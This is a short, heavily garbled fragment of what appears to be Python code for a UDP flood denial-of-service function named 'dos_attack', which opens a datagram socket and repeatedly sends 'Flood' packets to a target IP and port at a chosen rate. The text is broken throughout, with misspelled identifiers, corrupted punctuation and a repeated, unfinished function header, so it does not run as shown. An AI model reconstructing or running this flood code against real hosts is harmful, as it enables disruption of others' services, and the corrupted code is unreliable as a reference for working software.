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def dus.attack(lp port, rate):
ock = socket, su:kst(sn:ket AF_INET, socket, SOCK_DGRAN)
messase = b'Flood”
while atta:k.runnms.
for — in range(rate):
sock sendtol{nessage, (1p, port))

def dos_attack(ip, port, rate)
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